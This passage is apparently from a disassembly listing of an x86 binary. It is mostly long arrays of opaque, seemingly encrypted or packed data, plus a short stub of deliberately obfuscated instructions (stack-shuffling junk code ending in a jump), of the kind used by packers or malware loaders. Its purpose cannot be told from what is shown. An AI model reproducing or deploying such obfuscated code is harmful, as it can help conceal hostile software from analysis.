1260F39Ch, 0F8FF689Bh, 5E8h, 0BDCBE700h dd 8D313894h, 64413C5h, 8B66605Fh, 54DC80CAh, 0CEC78161h dd 8A00006Bh, 0BAC933D9h, 65D6E66Ch, 0BB0F348Bh, 17F67CFAh dd 1443C681h, 0DE9228Dh, 0F1000000h, 5F0ED217h, 4F4CFE4Ch dd 382F9850h, 7052F681h, 10E9078Dh, 6A000000h, 6B9DE722h dd 3089037Eh, 0DFE812A7h, 81C9F734h, 579B74C6h, 1703BA35h dd 0F561923h, 68Eh, 759D3100h, 8F06441Ah, 0B8660F04h, 0C0809B28h dd 4E98368h, 0C4D9D89h, 0F9810644h, 0FFFF94F4h, 16850Fh dd 9D030000h, 6441875h, 26E9h, 0A718FA00h, 8796C1CAh, 84F6E354h dd 209D8D89h, 6DE90644h, 3AFFFFFFh, 0BE44AAB5h, 0AF50FC9Dh dd 0E85EC271h, 0E8EC553Bh, 0Fh, 83C8E297h, 0B5E5ADA0h dd 8562EBCBh, 8B9F0BDFh, 44032D95h, 9D8B5806h, 644106Dh dd 6185C081h, 0E7800000h, 0E8F62B33h, 9, 0F4555361h, 0D77AFCBFh dd 9E94Bh, 0FB4B0000h, 8B542FE4h, 5B1E1D43h, 0E9300C8Bh dd 0Dh, 71D1869Dh, 289C1ACCh, 4A84758Fh, 0D8F18172h, 895707EFh dd 44068995h, 1E98106h, 666C35C0h, 5385D281h, 0BE22F181h dd 0BEBA7B0Fh, 897F3EFCh, 0EA81300Ch, 15E72E14h, 2904EE83h dd 442B9D95h, 1CFE8106h, 0FFFFF9Fh, 0FFFFAB85h, 68D0FFFh dd 2B000000h, 44263195h, 0A0758206h, 14690889h, 8DA6DC78h dd 366163FBh, 35A12E86h, 0D9259086h, 30254813h, 24909905h dd 3F2514C2h, 30258102h, 0DD980786h, 302306A8h, 305EA589h dd 0B5E39086h, 36614A6Fh, 3021CCC8h, 0E7651286h, 0BB75A1C4h dd 0BB21A0C2h, 1461CB86h, 85DA7982h, 36618433h, 478ACD0Bh dd 0E0DA22C1h, 0B5E3E20Dh, 36610B6Fh, 9F6BECC8h, 4A4C704h dd 0F05D2FA2h, 0DD906FABh, 0BD230CA8h, 77528B03h, 0BBF5ED80h dd 3035B07Eh, 38CC8486h, 96254286h, 302BA489h, 3B6C9086h dd 0C0A0474Fh, 0D9DADB79h, 3025128Bh, 7E70940Bh, 359D82C2h dd 0CF254286h, 0E798AC65h, 0BD23DA15h, 7AB1D50Bh, 15379C80h dd 0FF0E94B6h, 0A0758247h, 14690889h, 8DA6DC78h, 366163FBh dd 35A12E86h, 0D9259086h, 30254813h, 83909905h, 0A4F305E9h dd 22B9h, 0EE800h, 23070000h, 0AAA640ECh, 0AC5BC517h, 0A6EBFFD1h dd 5F32B357h, 0E59D095Ah, 81064418h, 6065C2h, 62F68100h dd 0B904643Eh, 0 dd 0EE0CBB66h, 8B1134FFh, 0F38158FBh, 38DF4453h, 86B5E881h dd 0B52957D3h, 6442471h, 6E56F081h, 8B660ED6h, 74F081FEh dd 813F0F0Fh, 0BE490DE3h, 0A04890Bh, 81F0B70Fh, 2C9701E9h dd 0DA8B664Bh, 96FDC181h, 8C0F4B2Ch, 5, 29D38166h, 5CF981E8h dd 0FFFFFA0h, 1D85h, 49BD2900h, 0E9064419h, 33h, 337E1B96h dd 9AB39DFFh, 0C5A0ABC8h, 0F5D8BFEh, 3151F423h, 4432A1B5h dd 7DE95B06h, 63FFFFFFh, 2B0FD5FDh, 66A4BD1Bh, 0C499597Fh dd 93AEEC11h, 0EB9FFE71h, 10B95F04h, 51DE921h, 6DD70000h dd 0EC5866CFh, 73EFD178h, 0E15E60C9h, 7AECD27Bh, 0D74163CAh dd 0E8410365h, 5CF56FD6h, 0F45DFF62h, 42EB59CAh, 3EFD6206h dd 8FC2E5FFh, 0D64F6BD9h, 0E193F76Eh, 59C6A6A8h, 295B7AE3h dd 1F7B61BAh, 3053D980h, 9BD3F2C9h, 239E43A5h, 0F3198B9h dd 89B72E96h, 0F31A81Ch, 0FFB42D97h, 8341A59Bh, 0C05F3B1Ah dd 0C9305419h, 0A0DB93B2h, 0B82C9976h, 0D84B7511h, 94DCFD64h dd 0E18537AAh, 791B7593h, 8CC43543h, 34A81B25h, 8CF7C9ADh dd 566849D0h, 43A72EAh, 0C2BA23A1h, 0E4DA6DB9h, 0B789C17Bh dd 739904Ch, 20BF269Eh, 0C92FB476h, 5FF23C47h, 0B3F5A43Bh dd 0A4D6C92Fh, 378E27A2h, 0CF87A6BBh, 0F4918DF9h, 7CA601h dd 0A6C20000h, 7E9E5DC2h, 0E2FC930h, 307DEA91h, 0FCC2E3C9h dd 6F4ED785h, 2B159527h, 0B19009BBh, 0E65EC7F9h, 9A4ABC82h dd 23D44BD2h, 0B0C93094h, 0CCA85FCBh, 3094A853h, 480021C9h dd 0F4B4067Eh, 12F01h, 4F9D0000h, 37096DD7h, 0AA8B12CAh dd 0E1457BE2h, 5BC4FA63h, 0DD4678E1h, 0CE570D78h, 2557CEEFh dd 84F10209h, 0BA2B158Eh, 661D930Ah, 700B40BCh, 67DD49A6h dd 0D193F0CEh, 0D94FCA78h, 0E496F26Bh, 9C75668Bh, 0CE51353Ah dd 0C92FFD0Bh, 0EBD59DBCh, 4E50C97Bh, 9A0CE935h, 48BD832Ah dd 0C73B059Ch, 2B157115h, 0B2930ABAh, 2FFD6E2Dh, 367E5FC9h dd 8793E8AFh, 0F41A52A2h, 68E301h, 15510000h, 9C05B72Bh dd 5DCBF5BDh, 0E0407EE7h, 0D5AEE57Ch, 1CC4B649h, 75A8C4BEh dd 13754B03h, 60C6F851h, 42BE80E4h, 2F4BD29Ah, 460EB611h dd 0CC550778h, 0C126F08Bh, 1F44D75h, 66BEh, 67150C00h dd 71A8933Eh, 427C34F9h, 9DF960E4h, 188143A3h, 0D44F7139h dd 0E09BF168h, 0B06FD936h, 30246C2Fh, 5D7C5DC9h, 0D74F46F4h dd 0AD6BF46Dh, 54C93094h, 0ECAF30EFh, 0DDC93093h, 7A44DDFCh dd 0FB66580Ch, 23BCD841h, 0C9309478h, 73087051h, 483355A7h dd 0AC152BDEh, 0C088A930h, 0F4B38EF6h, 1A701h, 4F150000h dd 0CEF069D3h, 940EBC55h, 7056A9EAh, 0CBB0C851h, 2E8EF25Fh dd 1887E387h, 0C92FC161h, 45034B6Ah, 3A0460ADh, 0A2831ACAh dd 2EB7259Ch, 0BC23470Fh, 0CF73DD4Eh, 1927BE9Fh, 0AF9138ACh dd 88178E36h, 0C2EBC4CFh, 4BBA84E0h, 80AAD199h, 1BB23293h dd 6004C025h, 4779E35Eh, 0D9F861DBh, 86C0891h, 0EBC4E497h dd 8CC4E5C2h, 0A9351B2h, 56C36F14h, 0E8DE77EDh, 0FBAFE47Ch dd 0FCB9h, 9B370B00h, 0A3E97612h, 0EACF74C1h, 0F76C52CBh dd 69DAE44Dh, 5D916BA8h, 0F2EB565h, 72F2556Bh, 0A3C7A33Ah dd 0EBB87D3Ch, 10704EC2h, 0FBC58DACh, 5D43DA8Ah, 22E24B39h dd 9D414214h, 9784AED5h, 8339A92Eh, 961681Ah, 0C36986D7h dd 5C6AC3E2h, 0FBB047E8h, 0FE0F4B39h, 68C08BC7h, 367020h dd 37C20000h, 0ED72169Fh, 0C930947Eh, 7326B9DDh, 54C93094h dd 6A4B3D75h, 6CD0300Eh, 7722BD24h, 0A8C93094h, 29247D3h dd 0E148D7B3h, 6AC93094h, 6676E24Bh, 0C4000000h, 76129B37h dd 74A097E9h, 4ED7F6CFh, 8B141370h, 0C2EC87D0h, 50F9D8F9h dd 0D64FF56Eh, 0EC898D49h, 7BA7DCC2h, 16BF259Eh, 0D2891672h dd 0FFC2EC87h, 98DD2001h, 29176174h, 6F2706BEh, 680C8929h dd 0F58FDF1Ah, 3179E6E0h, 0AE9ACA55h, 1233C936h, 9450B58Bh dd 240E750Dh, 0E6AA34Fh, 6C3B7591h, 0E04968CFh, 0B62B1552h dd 0BFCF7406h, 25706419h, 0E872B6Dh, 0F6E186Ah, 0D10E7782h dd 0B5D1F074h, 2FC16F2Ah, 317958C9h, 569ACA55h, 4133CF7Ah dd 0A0766154h, 7A1E3FEFh, 1CC0201Eh, 803BA485h, 49C2E61Eh dd 87B92068h, 0B91E31Eh, 9F010FB2h, 54AF16Eh, 0A283C2E6h dd 0AF142A83h, 9E07B52Ah, 63079EBFh, 457BE95Dh, 0D8F960DCh dd 28DD0F90h, 0B5D1EA40h, 106EE6C7h, 801FAB07h, 0A81FE8D9h dd 0BAF2D3F2h, 8BF855C1h, 0D54E70D9h, 57C8F66Fh, 0DD427CE5h dd 68D8E67Fh, 7C076DF4h, 59225AB2h, 120360CDh, 0D075E66Fh dd 0C1684922h, 0BADE86FFh, 8D9A41DEh, 1233A820h, 1257C35Ah dd 0E5000000h, 0D6492D49h, 0C9309423h, 0B5279AA4h, 642C0D2Ch dd 67D54FD6h, 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch dd 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 8952EDFAh dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2404895Ch, 1B7F68h dd 24348900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68241C89h dd 68B7h, 0B8240489h, 157F72DFh, 0CA0877BEh, 58C6291Bh dd 4EC81h, 24890000h, 24048124h, 4, 4EC835Bh, 8F243489h dd 34FF0843h, 0C4835B24h, 2434FF04h, 4C4835Eh, 0F9E471E9h dd 0E828EFFFh, 0E0F1BB55h, 5A12B933h, 0B89C2CF9h, 64A9A34h dd 0E0FFC503h, 502F1E85h, 3D63832Bh, 6DB503D9h, 682304EBh dd 82E92148h, 9A000008h, 231DB428h, 96A801C3h, 251BB22Ah dd 97A900BCh, 381AB331h, 2A9A0CF0h, 9A4ABD83h, 26960D33h dd 9054B18Fh, 86197D39h, 0C2E5F9D3h, 0EE10A2F4h, 0C9309428h dd 59F074D1h, 5E3A731Fh, 74A46FC1h, 56CFEECFh, 0EF46FE68h dd 94F074D1h, 84AC6FF0h, 231DC2ECh, 682001C3h, 6EF195F1h dd 0C2EC84ABh, 4B753D1Ch, 0CDF36ADAh, 4E70E95Bh, 78F66FD5h dd 0C53A1703h, 8EAF8E17h, 0D23FEB90h, 0E597F371h, 423038CAh dd 7CEBD572h, 4D2980C8h, 39B0DD3Fh, 0FCB42E13h, 0AFC45ACAh dd 729BFBh, 4F290000h, 0AB12ED9h, 0C3C93094h, 948138A7h dd 6B4AC930h, 0CCF26B4Ah, 8930AF5Ah, 42C93094h, 7D5C087Ch dd 0C35C385Ch, 0C9309418h, 41D890B1h, 0C25B097Fh, 44DD87FCh dd 52AA740Fh, 0EEB374Ch, 0B3852C98h, 1F4AF53h, 29FEA6D4h dd 9DB34EEEh, 1E85D5h, 4F370000h, 310F6BD9h, 0D6F76ED6h dd 0DE98079Eh, 0C1C93093h, 258370BAh, 268216BFh, 30000000h dd 0F26BD94Fh, 3094AC6Dh, 4CF051C9h, 0C577EBD5h, 0ED39425Ch dd 240E751Fh, 0C956D137h, 0C9309412h, 12BB9ABBh, 129B37A0h dd 0B92C1276h, 33AC920Bh, 10311089h, 0AAADC758h, 0D2CCF74h dd 8636AA94h, 0BB1112Fh, 0F13CD492h, 0A3640A95h, 4465C930h dd 9BAE5220h, 3B78436h, 77ECD24Bh, 0FA6A54CDh, 0CCF2D34Ah dd 4D73EA5Ah, 0D2F36ADAh, 916BB7CCh, 76E98DE9h, 0C9302AC3h dd 0A81B2504h, 0C48CAD34h, 0E2DC73BFh, 6647DE7Eh, 0CB0102Eh dd 0AA279BA5h, 30A9883Ch, 4AFA6A54h, 0F7B9A1D3h, 5273F119h dd 5A43B73h, 3EC92FF2h, 47CD945h, 1543F158h, 4C04B82Bh dd 4A2E670Ah, 940AB12Eh, 0E2C3C930h, 5AE818AAh, 0DC6ED64Fh dd 71156AD8h, 30942BEEh, 0F5BD9CC9h, 0F4A773C3h, 5B8004h dd 37320000h, 15A1139Ch, 3093CF8Ah, 6BD9F8C9h, 6715A715h dd 0D74FD213h, 0A7D5F46Dh, 0A0E8B04Bh, 3DA5229Eh, 0EB9645DAh dd 1637C92Fh, 0AE8FAE37h dd 0BA2B151Ch, 1470420Ah, 618D7366h, 4E6BFD87h, 19EEC0C3h dd 9A286041h, 43B62B15h, 30941DDCh, 0AE8FAEC9h, 0CA5E1637h dd 57h, 0BA2B1578h, 0FAB2930Ah, 2A9815BCh, 93CF8A15h, 8EEAC930h dd 30946A11h, 287167C9h, 0E53C55Dh, 79115978h, 3DD7821Dh dd 7DE2C930h, 0C9303EBEh, 79582E0Fh, 7115EA58h, 2068D44Fh dd 69D34F92h, 29D0330Dh, 309403B6h, 0C4E5C4C9h, 27433E8Ch dd 0AF36AE19h, 1574C68Eh, 3B05B72Bh, 6F5119CBh, 0EF151F6h dd 3093EA91h, 0E3C2E3C9h, 1E7A5B7Ah, 791DBF20h, 309433E6h dd 0FDB594C9h, 15AEFB64h, 0B9C2C935h, 0A123806Dh, 421E6C08h dd 2387E271h, 0DE48763Eh, 67C1FF66h, 0E95A64FDh, 4AD5D628h dd 7958E7D1h, 0FD67DEE0h, 0BB671C64h, 0FA245F41h, 9039AB1Dh dd 0F0B13EA6h, 22F701h, 4F450000h, 0B1F76ED6h, 6FF09421h dd 0CF74AEB5h, 23513514h, 0FF98215h, 61F8B0FFh, 68C5512Ah dd 52E049FBh, 8BC2B15h, 8D37AF91h, 69DAE4ACh, 8C2462FBh dd 0A0FA6501h, 0FBCF7496h, 0B3C17F89h, 57EDBECh, 40367E5Fh dd 1CDF4024h, 0ADC2EB96h, 9668138Ch, 0A65C2EBh, 6DEEF0F3h dd 0BE291761h, 9B552706h, 1ED4A768h, 6A543011h, 0AB024AFAh dd 139C3719h, 216715A1h, 0D5841B94h, 0F6C9308Dh, 10B0A5D7h dd 0FC980149h, 2C2AF08Eh, 367E86B3h, 6ED64F84h, 476AD8DCh dd 4F4A7EFh, 3904h, 9C37B600h, 928940Ch, 0CF8A15BBh, 0EAC93093h dd 946A118Eh, 4263C930h, 0D24C0E30h, 0B3FB6924h, 1556E4C5h dd 69D34FA7h, 0E5F143DBh, 3Fh, 0B263F381h, 1236CDABh, 9C37E85Ah dd 8A15A113h, 0C93093CFh, 0B067D8E6h, 30946C2Fh, 5D7C5DC9h dd 36A187Ch, 377FF969h, 1C3DA71Fh, 0A715E654h, 0D69D34Fh dd 99083D7Fh, 4F071CC6h, 4FF143FDh, 68F76ED6h, 0C935161Fh dd 0EA473551h, 75E75809h, 0CBBFCDECh, 4B307850h, 531172DFh dd 40A09EFAh, 7CEAD49Ch, 0F96F51C8h, 7AEA910Eh, 0C2E3C92Ch dd 0E64322B0h, 7859451Ah, 9A84FFE1h, 0F468D9E7h, 3A044C6Dh dd 87B118CCh, 1F0121Fh, 3ED4h, 0D64F6600h, 21B1F76Eh, 948B4ED1h dd 1074C930h, 22032254h, 0A087D946h, 0E7C6CF74h, 6F51357Eh dd 7F044CF8h, 406E1CB3h, 2BBDBC34h, 0C53E0048h, 0ECD2B61Fh dd 6A54CD77h, 0F1D049FBh, 4F2A98D0h, 0B1F76ED6h, 0A81C8B21h dd 55311031h, 0DF46F66Bh, 4DD2B6FEh, 0CF74C6E3h, 0D08B1470h dd 0F9C2EC61h, 94E690D8h, 549F5A91h, 64002178h, 6AC55A16h dd 450D2966h, 9C375EECh, 2B15A113h, 0A29C05B7h, 0F6BE9F3Dh dd 0D64FDD6Fh, 2B15DC6Eh, 0CF340ABAh, 0E5AD8C15h, 0EF47FE4Ch dd 404F4A7h, 38h, 139C37B6h, 0CF8A15A1h, 0F8C93093h, 9458039Ch dd 5071C930h, 0A715C371h, 7BD2B15h, 0AB11714Fh, 0E5F14319h dd 3Dh, 67DBE581h, 0D24D6CF5h, 0C9309427h, 7BC981A0h, 0ABA2B15h dd 736D0442h, 1573B6ABh, 85C4D9A5h, 5957705h, 15A11332h dd 3093CF8Ah, 75C7E6C9h, 0D34FA715h, 0D0330D69h, 4396246Ch dd 6ED64FF1h, 4AF16E0Ah, 83C93094h, 0EC73EAA2h, 0C935159Bh dd 198FB1D5h, 5B1332ABh, 0AC19F620h, 922E5C38h, 56F59245h dd 734DE4ACh, 8DCB5212h, 53CCA8E5h, 0CF70177Dh, 0C674DDFCh dd 0A1139C37h, 0D64F5AE8h, 6AD8DC6Eh, 0F4A7EF47h, 38423004h dd 82E9DCE4h, 46F66A54h, 3B5E0Eh, 43A0000h, 0D86A22A2h dd 0A1139C37h, 93CF8A15h, 0D9F8C930h, 0EE71156Bh, 0C930942Bh dd 8044A29Ch, 3F8DE9A1h, 0F76D34Fh, 93CC8F10h, 0DCFDC930h dd 644564FDh, 0E5F143D6h, 47h, 0C9C3757h, 6E0A2B99h, 0E970F450h dd 153280C8h, 0CF8A1571h, 0F8C93093h, 0C7E65EC6h, 9469108Fh dd 5D7CC930h, 0C7AA4B39h, 0F335885Ch, 0A71509BBh, 0B32CD34Fh dd 0C9309408h, 73C1E0C1h, 0FD706715h, 0EBB61C5Eh, 4F2391A3h dd 0AA1271D6h, 2C980D33h, 3A482C0Dh, 295F2385h, 0A71D899Eh dd 3357CE86h, 2111C857h, 94F2C930h, 2C98A6D0h, 4ED199B8h dd 0C934A2F9h, 0B62D1377h, 0AA33A919h, 99E2AA8Bh, 0A09EFA8Dh dd 26079E46h, 2BA202B9h, 0A2EACBC9h, 14BD279Ch, 920BB92Ah dd 95F13CD4h, 1FA3AFE7h, 0CCF24385h, 5372EB59h, 8EE07F1Bh dd 0CFCF7008h, 4CB48AEEh, 1571D890h, 0F1840567h, 0BCF47663h dd 139C370Eh, 0BB2B15A1h, 6AD84109h, 0DC6ED64Fh, 0EF476AD8h dd 404F4A7h, 42h, 139C37B6h, 0CF8A15A1h, 0F8C93093h, 85FC59C6h dd 4E6F4ED7h, 6715DD6Fh, 12045B1Ah, 1689EDD2h, 0C92FBD63h dd 690D4564h, 43F6690Dh, 84C92FBDh, 0B49547BAh, 0D34F4EFCh dd 0F143DB69h, 16E5h, 9C375700h, 8A15A113h, 0C93093CFh dd 1575C7E6h, 69D34FA7h, 4FF143DBh, 0B1F76ED6h, 94F09421h dd 3094500Bh, 2A5879C9h, 0EE51F0DBh, 93F7BFBFh, 74A4AE0Ch dd 5A3E1FCFh, 63FAA13Eh, 0F2D3C2ECh, 0BD5513BAh, 988B1470h dd 31C936FEh, 89ED8910h, 21EA6316h, 7B52CC9h, 26185071h dd 5D6307BDh, 973E76E6h, 11883CA9h, 65D74B75h, 0A95DDFCh dd 0F024B63Ah, 0EC49D5AEh, 5A64CD77h, 6D1F7BE9h, 0ED8A8290h dd 0A53C742Bh, 0D2B6269Bh, 0EE460AA0h, 0ED52751Eh, 0BF266E4Fh dd 8572BCC7h, 9448BB20h, 0C1221CB5h, 4162BF50h, 5242D53h dd 0C089Ch, 49BA0000h, 8E435F2Dh, 25F190E3h, 0D54FDF6Dh dd 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h dd 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 68EDFA63h, 0C40h dd 57243C89h, 0C781E789h, 4, 8704EF83h, 895C243Ch, 89532414h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 241C895Ch, 9AD5BE56h dd 5A56064Ah, 1C8B545Eh, 4C48324h, 4EC81h, 2C890000h, 89D58924h dd 8B5D086Bh, 8952241Ch, 4C281E2h, 81000000h, 4C2h, 24148700h dd 24148B5Ch, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0F9DBC5E9h dd 908114FFh, 0A2D5B882h, 0C503064Ah, 9E25E0FFh, 9E165212h dd 6BD1F00h, 6131086Ch, 0B4985F02h, 5756146Eh, 2A516766h dd 3BB70DB4h, 9F77D37h, 4CF26718h, 0AD621D5Fh, 19065A78h dd 0B13A3D4Bh, 65C2764Eh, 0A699074Ah, 3B5F72D2h, 17E1498Fh dd 0FAC620F5h, 7EB50514h, 566E16A9h, 20E35D25h, 12102CDAh dd 0C6560F2h, 0C189477Eh, 0C6F248A3h, 0DB147541h, 0F53439h dd 8D8D5898h, 64AA499h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 4CC35242h, 0D267C826h, 958B60FEh, 6440049h dd 25A5B58Bh, 89610644h, 442F5D8Dh, 0F19D3106h, 0C7064406h dd 44067985h, 6AC006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0E90598D6h, 11h, 0E1EB6062h dd 8D19F1Ah, 0F400027Eh, 0BA858FB8h, 7185C73Dh, 64410h dd 8B000000h, 4421E985h, 0DB5FF06h, 8B06440Ch, 44086D85h dd 47BE6606h, 0F995FFC6h, 6A06440Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9396C356h dd 65B10139h, 95FF006Ah, 6441C4Dh, 6CEBC08Bh, 0F7EDA22Bh dd 48625408h, 2521B9F0h, 837656E7h, 590AFDB6h, 9F25893Eh dd 14E2AB72h, 703FB6E5h, 0D8C542E4h, 611DCCA2h, 0A7C5FBCAh dd 9CF11F91h, 9842249h, 9C58C8E1h, 3F3AD5E6h, 737795D4h dd 5CB6F09Fh, 4BD2C29Dh, 2D620329h, 3D168EDh, 9D8BBE8Ah dd 9FB5EE7h, 1FC4EF6Eh, 0CE0FB28Ah, 63F27E78h, 6218CF86h dd 0B25D74E4h, 0AE8h, 0B8B0B200h, 9C1FC6DBh, 0BA0BC63Fh dd 47FB8CC4h, 81F88B5Eh, 6DA4C6h, 66EF8100h, 0B97CB3F1h dd 1B41h, 10E9h, 30D38700h, 116C9481h, 0B7BB2364h, 9A821231h dd 0F1E8B21h, 0C381FFBFh, 58FCABB0h, 58C38B56h, 357CEB81h dd 858B6026h, 6440D81h, 0A78AEB81h, 858B2CFAh, 6440FB9h dd 0EF816653h, 68FE53Ah, 0EE83C2B0h, 65958904h, 49064430h dd 1B850Fh, 958B0000h, 6441999h, 20E9h, 90704B00h, 1A15A01Bh dd 8C28B3EBh, 0F853CEF8h, 9D9531FFh, 0E9064432h, 0FFFFFF99h dd 0E65CB1E6h, 9604EB15h, 0E972EF33h, 57Fh, 802993F1h dd 379E46BEh, 8A239909h, 38914BB4h, 8D24A006h, 319785AFh dd 0C1241AB3h, 2D94AA03h, 0AB18268Fh, 0B0D49039h, 0E5EF6C2Fh dd 6F0B5DC2h, 36019C1Dh, 5C147AF5h, 6ED64FEEh, 0E55FC9F7h dd 9E46BF81h, 0A7182607h, 0EAD47D35h, 0DDAFCB79h, 8334189Eh dd 0C5201E3Ah, 0EFA7861Fh, 69DB4876h, 11D3330Dh, 9450B688h dd 5A64FDB5h, 0A8E37AEAh, 79EA47D3h, 0E55C62CBh, 5771377h dd 9D6F58C3h, 0A655CAE4h, 27C9301Fh, 0AA33A919h, 4BE2AA8Bh dd 7AFD0E75h, 97045053h, 76127657h, 2FD132E9h, 0CE6ED3C9h dd 88EB99B8h, 0F8287E91h, 0B8861F57h, 300E974Dh, 29930FD4h dd 38AF9108h, 0EE71158Ch, 0C92FFA2Bh, 8DF6BD9Ch, 0A8D3ABA1h dd 8A32917Eh, 0D176D0EEh, 7253CA72h, 8CB21B53h, 5034AD17h dd 0D471F022h, 0E9A14AE6h, 304AC076h, 0C06A11C9h, 0F469EB5Bh dd 0C7583C01h, 0C9305614h, 6FF094B5h, 0C93056ACh, 24743C1Dh dd 54h, 6ED64F96h, 94AF68F7h, 0F054C930h, 72D3ED74h, 5B206BF2h dd 601B7DCFh, 0C57103B6h, 65DF497Ah, 49AFDDFCh, 0E8DE96A0h dd 1F4AA7Ch, 1B9h, 0D74F0B00h, 5ACAF46Dh, 0D44D73EAh, 0C1BAF168h dd 0D88CF855h, 6ED64F71h, 4AF16E0Ah, 83C93094h, 0F143EAA2h dd 0F26BD94Fh, 75EC58CCh, 887D0F6Bh, 30EB74E3h, 99C93022h dd 0ACA6CAB8h, 0F43E450Dh, 8A23A107h, 0C954FB4h, 0F76ECE32h dd 0FA5FCBB0h, 1F4B09Ah, 725Bh, 0D94FE900h, 593B8738h dd 72CD4C3Dh, 689FB23h, 2246676Fh, 733BA91Ch, 0F06CD4EAh dd 0CD592269h, 0E8D6483Ah, 6143FA0Ah, 33B11729h, 5FC0FE9Ah dd 0D4564FDh, 0F66FD533h, 81E557C8h, 11CA43BFh, 1197CBC9h dd 85A43D1Ch, 681354CDh, 65FD59BEh, 6F3601F4h, 84000000h dd 0F26BD94Fh, 7EE755CCh, 56C36F14h, 0EBAE31F0h, 0DCC93093h dd 0E262C3FDh, 15D86AC3h, 0CF8A1571h, 0F8C93093h, 949346D9h dd 0B926C930h, 0C9309402h, 0BD9CEACBh, 25BC2083h, 12724C04h dd 29443652h, 9B5EC17Dh, 2CC92FA8h, 8B807F0Dh, 43DC450Dh dd 0C92FC295h, 6ED35F24h, 1F3E1F6h, 8C49790Bh, 0C23E7C99h dd 8BC3E262h, 1DBh, 0D34F6900h, 55CEF069h, 3E8394F0h, 1D50E062h dd 87E3C2E3h, 20BD7CE3h, 0F90AC930h, 0A30E3376h, 9CD4F583h dd 1C067D05h, 0A006C33Fh, 3514C83Bh, 57FBBD14h, 0C725BADEh dd 6CF73BEh, 2380BE27h, 0E7611DF2h, 7E5F4922h, 0FB9E681Ah dd 66601B84h, 4869C2ECh, 9A08383Ah, 0EBBF5605h, 775677C2h dd 96F2963Fh, 0EBBF5209h, 125A7BC2h, 1F5EB72Ch, 4CCABD84h dd 54CB5273h, 0C2EC7BA3h, 24DB473Ch, 0E3225156h, 0F5BD6108h dd 43EA5ACBh, 0C55C087Dh, 43DA8AFBh, 2A4B395Dh, 3DEEDC8Bh dd 0F7A23D59h, 0D0C2EBAFh, 58C2B9F1h, 73DA8AFBh, 0AFCFE145h dd 0AC1826FBh, 18C35C38h, 0B1C2EBBCh, 0FF88D890h, 3A000000h dd 76129B37h, 0DB72C12h, 0C190DA45h, 0F5CBCF74h, 0EE98D08Ch dd 0FB6856CFh, 66E8930Ch, 0C0E1C2ECh, 0D7648E1h, 93F0CE57h dd 2D5648D1h, 13704E01h, 0BE271951h, 99066206h, 0C2EC66E2h dd 2B82CAEBh, 0B086A91Dh, 4A4AFBh, 102E0000h, 0BC9558B1h dd 554E10ABh, 84CCED74h, 169F3736h, 6DD74C72h, 0F99DD5F4h dd 30950366h, 0FC6544C9h, 3094B863h, 8892E9C9h, 8CA143D3h dd 9D206E7Eh, 6264971Ch, 0A80DF510h, 1772ED89h, 50C93036h dd 6B4CD871h, 0FE000000h, 76129B37h, 74A097E9h, 0B3D7F6CFh dd 0E1A91B8Dh, 67DD4678h, 0C4D8AACEh, 0F0F25455h, 34C477E8h dd 2405C2ECh, 12734D05h, 0A054CB52h, 0C1C2EC35h, 0BDD970BAh dd 0EC347722h, 397150C2h, 0CF399E07h, 8CAD8C15h, 46CF6325h dd 0D9AFBD22h, 5F7EC936h, 0D98BF8C6h, 0D7433840h, 43276E02h dd 38AC1927h, 74DDEF70h, 0D2CCF6Ch, 9B3716A4h, 4374950Dh dd 388E8D17h, 8EAF3617h, 5654CBAFh, 97CF7A85h, 1C853FA9h dd 0BB851C3Dh, 0D339A4Ah, 2AB52C98h, 378C1D2Bh, 56CF6DD4h dd 0D148FC68h, 0C735E19Ah, 0CE2BF78Ch, 0F98BEF55h, 38A93659h dd 0DEFCAA57h, 1A59D1A3h, 556BC28Ah, 0D3ED74F0h, 65148B6Eh dd 2E564115h, 5B7A0CB8h, 0E09BE37Ah, 0E76CD936h, 0F765DD7Ah dd 0F76E4F6Eh, 605EF7D6h, 41254103h, 41151BDEh, 0C58DAC56h dd 3C85Ch, 497A0000h, 67D54FFBh, 0E163C0FEh, 61DB4678h dd 0E55FC6F8h, 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h dd 63E1457Bh db 0FAh, 0EDh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push edi mov edi, 43113B96h push ebx mov ebx, 8606DAh xor ebx, 4DC56B19h add edi, ebx pop ebx shr edi, 7 neg edi sub edi, 0F894B0F0h mov edx, edi pop edi push 3732h mov [esp], esp add dword ptr [esp], 4 pop esi push 5F7h mov [esp], edx add dword ptr [esp], 29FA12D4h pop dword ptr [esi+8] sub dword ptr [esi+8], 29FA12D4h mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_5445C2 ; --------------------------------------------------------------------------- dd 0BA5370A4h, 0F82C55FBh, 6133A86Eh, 0B8B7DD00h, 64AAA84h dd 0E0FFC503h, 32642E0Ch, 2C0DA67Bh, 30230BC1h, 63688955h dd 0AC5A8D8Dh, 6A064Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 7597C3C3h, 14E9AD9Ch, 0A8000000h dd 6D19C2BAh, 0B5E6FCEBh, 0BA4E2E8Eh, 76508D28h, 89D94AD5h dd 442F5D8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0F19D893Ah, 0C7064424h, 44067985h dd 6DF406h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0E0B5F879h, 20F40897h, 958B5C62h dd 6441035h, 107185C7h, 644h, 6A0000h, 